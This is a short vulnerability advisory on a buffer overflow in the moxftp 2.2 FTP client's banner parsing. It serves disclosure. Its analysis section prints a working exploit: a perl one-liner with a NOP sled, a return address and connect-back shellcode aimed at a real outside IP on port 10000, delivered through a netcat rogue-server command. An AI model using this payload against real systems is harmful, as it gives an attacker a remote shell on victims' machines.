I. BACKGROUND

According to the vendor moxftp is a "Ftp shell under X Window System".
/usr/ports/ftp/moxftp

II. DESCRIPTION

Insufficient bounds checking leads to execution of arbitrary code. 

III. ANALYSIS

Upon parsing the '220 welcome to server' ftp banner a buffer can be
overrun, allowing us to execute our arbitrary code. The buffer may be 
constructed as such: [508 bytes][ebp ][eip ][nops][shellcode]. Placing 
the nops and shellcode in the buffer before ebp seems to cause some 
problems, luckily there's plenty of space after eip.

Example run:

$ perl -e 'print "220 " . "\x90" x 508 . "\x48\xfa\xbf\xbf" x 2 . "\x90" x 100 . "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xd9\x9d\x02\x24\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80" . "\n"' > file
# nc -l -p 21 < file

This sets up a rogue server which will overflow the buffer, and execute
the shellcode. The shellcode is connect-back to 217.157.2.36 port 10000,
replace "\xd9\x9d\x02\x24" with a suitable ip for testing.

IV. DETECTION

moxftp-2.2 shipping with the FreeBSD ports system as well as from 
various webpages per 9/2-03 is vulnerable.

V. WORKAROUND

unknown

VI. VENDOR FIX

unknown

VII. CVE INFORMATION

unknown

VIII. DISCLOSURE TIMELINE

unknown

IX. CREDIT

Knud Erik Højgaard